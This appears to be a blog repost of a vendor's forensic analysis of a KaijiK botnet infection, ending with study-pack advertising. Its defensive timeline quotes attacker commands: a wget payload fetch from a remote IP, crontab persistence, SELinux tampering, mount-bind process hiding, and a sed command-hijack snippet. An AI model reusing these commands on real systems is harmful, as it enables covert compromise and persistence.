首页 > 其他分享 >猫鼠游戏: KaijiK病毒入侵溯源分析

猫鼠游戏: KaijiK病毒入侵溯源分析

时间:2024-10-22 09:49:42浏览次数:3  
标签:文件 猫鼠 06 name KaijiK 进程 溯源 proc 病毒

1. 事件背景

近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作,于是网宿安全专家协助对事件进行排查、溯源、处理。

2. 入侵过程溯源分析

获得用户授权后,网宿安全专家登录控制台查看,发现一些病毒进程、隐藏进程告警,以及一些异常登录信息:

查看主机的资源监控,发现极高的CPU占用以及很高的上行带宽。从异常特征来看很可能是感染病毒后被当作肉鸡,对外发起DDOS攻击。

网宿安全专家使用网宿主机入侵检测的溯源功能对入侵过程进行溯源分析,通过进程树视图可以看到amd64启动了amd64子进程,并且执行mount命令进行隐藏。通过切换到会话视图,可以看到相同会话下执行了wget下载了病毒文件,登录IP 87.246.7.38来自于保加利亚索非亚,与异常登录告警一致。

TIPS: 会话模式,linux下每次登录都会记录一个会话ID,相同会话ID可以比较全面的记录一次入侵登录的执行行为。很多病毒和命令执行后不会在原来的父进程下,如果只通过进程树进行跟踪将缺失很多重要信息。

切换到进程树的文本视图可以比较简洁明了的查看完整的命令执行列表。从文本视图可以快速看到病毒的下载、执行、隐藏、修改定时任务等行为信息。通过以下线索梳理关键的时间线信息。

时间行为
2024-06-28 06:55:55异常登录,登录IP 87.246.7.38来自于保加利亚索非亚
2024-06-28 06:55:56bash -c uname –m获取操作系统架构信息,方便后续下载对应的样本
2024-06-28 06:55:56bash -c cd /tmp;rm -f amd64;wget -t 1 http://198.98.51.37:27222/s/amd64确保 /tmp 目录下无同名文件,使用 wget 命令从远程服务器下载恶意文件 amd64 并存放在 /tmp 目录下。
2024-06-28 06:56:05bash -c /tmp/amd64执行命令,启动病毒样本
2024-06-28 06:56:06/bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab在定时任务中写入配置,每分钟启动/.mod
2024-06-28 06:56:06/bin/bash -c cd /boot;ausearch -c 'system.pub' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp使用audit2allow和semodule修改系统的SELinux规则,使system.pub的操作不会被限制。
2024-06-28 06:56:07mount -o bind /tmp/ /proc/38915 通过mount命令对进程进行隐藏,这里的38915就是病毒进程的PID
2024-06-28 06:56:07/bin/sh /usr/sbin/service cron start通过服务启动cron,确保定时任务执行

3. 行为审计-病毒行为追踪

对入侵过程进行溯源分析后,接着可以通过审计功能对病毒的行为进行分析,以便彻底的对病毒、后门、配置篡改等进行清理,恢复主机至安全状态。审计包括登录审计、进程审计、文件审计、流量审计。

3.1 进程隐藏

在之前溯源分析以及审计的过程中检测到此命令mount -o bind /tmp/ /proc/38915,此命令通过mount将进程路径挂载到/tmp使得其他程序无法获得进程的信息,ps和top等均无法查看到进程信息。需要通过umount解除挂载才能看到进程。

解除前,ps看不到进程信息

1726039370_66e1454a2ee19bec58f8c.png!small

但是进程路径是存在的,内容却是/tmp中的内容

解除后,可以看到进程信息

TIPS:通过mount进程PID路径对进程进行隐藏,使得进程的文件路径、启动路径等均无法获取。此时通过PS、TOP等命令均无法查看进程。是最常用的进程隐藏方法,没有依赖,执行简单,不修改preload或者内核,侵入性低,不影响系统稳定性。

3.2 文件隐藏

在对病毒修改文件的审计中发现/etc/profile.d/gateway.sh对一些重要命令进行了劫持来实现病毒相关文件的隐藏。

路径/etc/profile.d在每次用户登录时进行了加载,这个文件中对重要的命令进行了重新定义,这些命令会调用原始的命令,但是输出时会通过sed屏蔽包含一些关键字的信息。被篡改的命令均是常用的查看命令:ps、ss、netstat、dir、ls、find、lsof,使得常规的查看命令很难发现病毒的痕迹。

屏蔽的关键字均是病毒文件或者病毒相关文件

proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d')proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d')proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d')proc_name=$(echo "$proc_name" | sed -e '/system.pub/d')proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')proc_name=$(echo "$proc_name" | sed -e '/.mod/d')proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d')proc_name=$(echo "$proc_name" | sed -e '/system.mark/d')proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d')proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d')

使用系统的ls命令无法看到病毒文件,因为被屏蔽了。而使用busybox执行的ls命令是可以看到病毒文件的。

TIPS:病毒经常通过劫持方式在输出中隐藏病毒文件,常见的有alias劫持、定义function函数、替换文件劫持命令,更深层次的可以通过预加载动态链接库、rootkit等方式劫持系统函数。

3.3 启动项持久化

通过进程审计分析病毒修改或创建的文件发现病毒样本修改了大量的配置文件,主要涉及路径/etc/init.d,/etc/profile.d路径。/etc/init.d路径下的文件在开机启动时被执行,/etc/profile.d下的文件在用户登录时执行。

病毒遍历这两个路径下的所有配置文件,识别里面的if then语句,在语句后插入病毒的启动路径/lib/system.mark.

TIPS:植入开机启动项与登录启动项是病毒常见的持久化方式,使得用户连接上以后自动执行病毒。

3.4 定时任务持久化

在文件审计中有看到对/etc/crontab文件的修改,并且前面的进程命令中包含篡改此文件的命令 /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab

查看/etc/crontab与/.mod的内容,病毒通过配置定时任务,每分钟启动一次/.mod,/.mod中启动/usr/lib/libgdi.so.0.8.2,这是一个伪装成so的病毒样本,其hash值与amd64相同。

TIPS:在定时任务中添加配置是病毒持久化常用的手段,即使杀死了病毒进程,没有清理定时任务的话,很快又会被拉起,经常使得病毒很难清理干净。

3.5 释放病毒文件

通过病毒木马对系统进行扫描,发现病毒将自身复制到多个路径下,并且伪造成系统文件相似的名字,他们的MD5值均相同,这些文件会在前面分析的各类配置文件中被拉起。

病毒路径列表:

/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark

TIPS:病毒通常会将自身复制到系统关键的配置路径,启动路径,lib库路径下,并伪装成与系统文件相似的名字,使得人工分析难以察觉。

3.6 文件时间篡改

从病毒木马检测中发现这些病毒的创建时间均为2020-02-27 13:52:07,而文件审计中这些文件均有近期的操作记录,病毒样本对文件时间进行了篡改,试图绕过检测。

TIPS:一些安全工具会对创建时间比较久远的文件跳过检测,隐藏病毒也经常通过篡改文件时间来视图规避检测。

3.7 外连C&C域名

通过流量审计功能对病毒通信IP进行分析,找到两个IP地址,其中一个是病毒的C&C服务器地址,一个是病毒样本下载地址。此样本通过51.222.38.42下发命令发起DDOS攻击。

IP地理位置作用
51.222.38.42法国C&C控制地址
193.142.146.228荷兰弗莱福兰省样本下载地址

TIPS:许多样本在感染时通常表现为静默状态,只有在接受到C&C远控下发命令时才执行具体的行为,比如发起DDOS攻击。

4. 处置措施

  1. 隔离受感染的系统,可以通过一键隔离功能快速进行隔离,防止远控地址下发命令,防止重新下载感染病毒。
  2. 删除病毒文件,包括初始下载的以后后续病毒样本释放的文件。
  3. 通过umount命令解除进程隐藏行为,然后杀死病毒进程。
  4. 修复被篡改的配置文件,删除植入的配置文件。
  5. 修改用户口令,确保口令满足复杂度要求,并且不在常见的弱口令库中。

5. 事件总结

攻击者通过暴力破解的方式获取了登录权限,然后从远程地址下载病毒样本并执行。病毒通过mount隐藏方法对进行进行了隐藏,通过劫持系统命令屏蔽病毒相关文件名字对文件进行了隐藏,通过开机启动项、定时任务、登录启动项配置中植入病毒路径进行持久化,删除病毒样本后,病毒执行又会重新释放恶意样本,使得病毒很难被清理。最后样本连接C&C服务器,等待接收指令,接收到指令后对外发起攻击,占用大量的CPU和上行带宽。

这个病毒对进程、文件均进行了隐藏,并且使用了多种方式进行持久化,病毒在静默状态下很难被发现,并且很难彻底清理。

6. 病毒样本IOC

病毒MD51c0e411f155da1bec2ca67af95bcb235
C&C地址51.222.38.42193.142.146.228
释放病毒样本/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark
释放脚本/.mod
篡改配置文件开机启动类定时任务类连接启动类

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

标签:文件,猫鼠,06,name,KaijiK,进程,溯源,proc,病毒
From: https://blog.csdn.net/2401_84466325/article/details/143139481

相关文章

  • 107-免杀对抗-C&C++&溯源ShellCode上线&混淆变异算法&回调编译执行
    知识点#知识点:1、ShellCode-分析&朔源&感知2、ShellCode-混淆&编码&算法3、回调执行解析-API&汇编&句柄#章节点:编译代码面-ShellCode-混淆编译代码面-编辑执行器-编写编译代码面-分离加载器-编写程序文件面-特征码定位-修改程序文件面-加壳花指令-资源代码加载面-Dll......
  • 【计算机毕设教程】基于springboot+vue的农产品溯源系统 | 仓库管理系统 | 进销存系统
    【计算机毕设教程】基于springboot+vue的农产品溯源系统|仓库管理系统|进销存系统——前端篇系统演示02.系统功能&业务演示戳我查看页面解析  以采购管理功能为例,这样的一个基本的管理功能页面我们可以将他分为三部分,最顶层为功能介绍区,紧接着是用户搜索......
  • 如何在Java后端中实现事件驱动架构:从事件总线到事件溯源
    如何在Java后端中实现事件驱动架构:从事件总线到事件溯源大家好,我是微赚淘客返利系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!在现代软件架构中,事件驱动架构(EDA)已经成为提高系统解耦性、可伸缩性和响应性的热门选择。本文将详细探讨如何在Java后端实现事件驱动架构,包括事件......
  • 防伪溯源一体化管理系统V2.1.3
    多平台(微信小程序、H5网页)溯源、防伪、管理一体化独立系统,拥有强大的防伪码和溯源码双码生成功能(内置多种生成规则)、批量大量导出防伪和溯源码码数据、支持代理商管理端(团队管理、采购,邀请代理商、出库等功能)、支持招商经理管理端(可管理代理商团队,邀请代理商,数据统计,采购订单统计),支......
  • 防溯源总结
    防溯源参考文章:https://mp.weixin.qq.com/s/OXJYBd0bKbauSsi7ia5IDA基本是在参考文章里摘抄总结出来的个人笔记。总结:1、使用识别蜜罐插件2、指纹浏览器(无痕浏览器)或者独立浏览器,防止JSONP蜜罐溯源3、挂代理,防止出口ip被溯源4、尽量虚拟机操作,特别是连数据库需要注意,防止my......
  • 基于nodejs+vue电商的食品溯源和推荐平台[程序+论文+开题]-计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景随着电子商务的蓬勃发展,食品行业作为与民生息息相关的关键领域,其线上交易规模日益扩大。然而,食品安全问题频发,如假冒伪劣、过期产品流通等,严重损害了消费者......
  • jsp餐饮溯源系统设计与实现1533e
    jsp餐饮溯源系统设计与实现1533e本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表项目功能员工,菜肴信息,合作伙伴,食材信息,留样信息,回收清洁,批次信息,消费者技术要求:   开发语言:JSP前端使用:HTML5......
  • 基于二维码的运动鞋防伪溯源系统---附源码89552
    摘要   二维码的运动鞋防伪溯源系统是基于SSM(Spring、Spring MVC、MyBatis)框架开发的一种解决运动鞋防伪和溯源问题的系统。该系统通过为每双鞋子生成唯一的二维码,并将相关信息与二维码绑定,实现对运动鞋的溯源和防伪验证。本文介绍了该系统的设计与实现。   ......
  • 风控系统之事件溯源,决策流程记录与版本控制
    个人博客:无奈何杨(wnhyang)个人语雀:wnhyang共享语雀:在线知识共享Github:wnhyang-Overview背景一天,小明在风控管理台查看事件数据时,发现一笔决策结果为“拒绝”❌的交易事件,小明点开事件详情发现其触发了一条“24小时内向不同陌生账户转账超过30w”的规则,规则设置的处置方式是......
  • 【溯源系列】使用Wireshark分析日志文件:发现有人对网站进行了SQL注入,分析日志找到该IP
    工具Wireshark某公司安全工程师在维护网站时发现有人对网站进行了SQL注入,分析日志找到该IP地址。要点SQL.log文件主要显示具体的sql语句】access.log文件主要是记录web页面操作数据库的请求解题很简单,直接打开access.log文件,一步到位,检索sql注入的常见关键词select、un......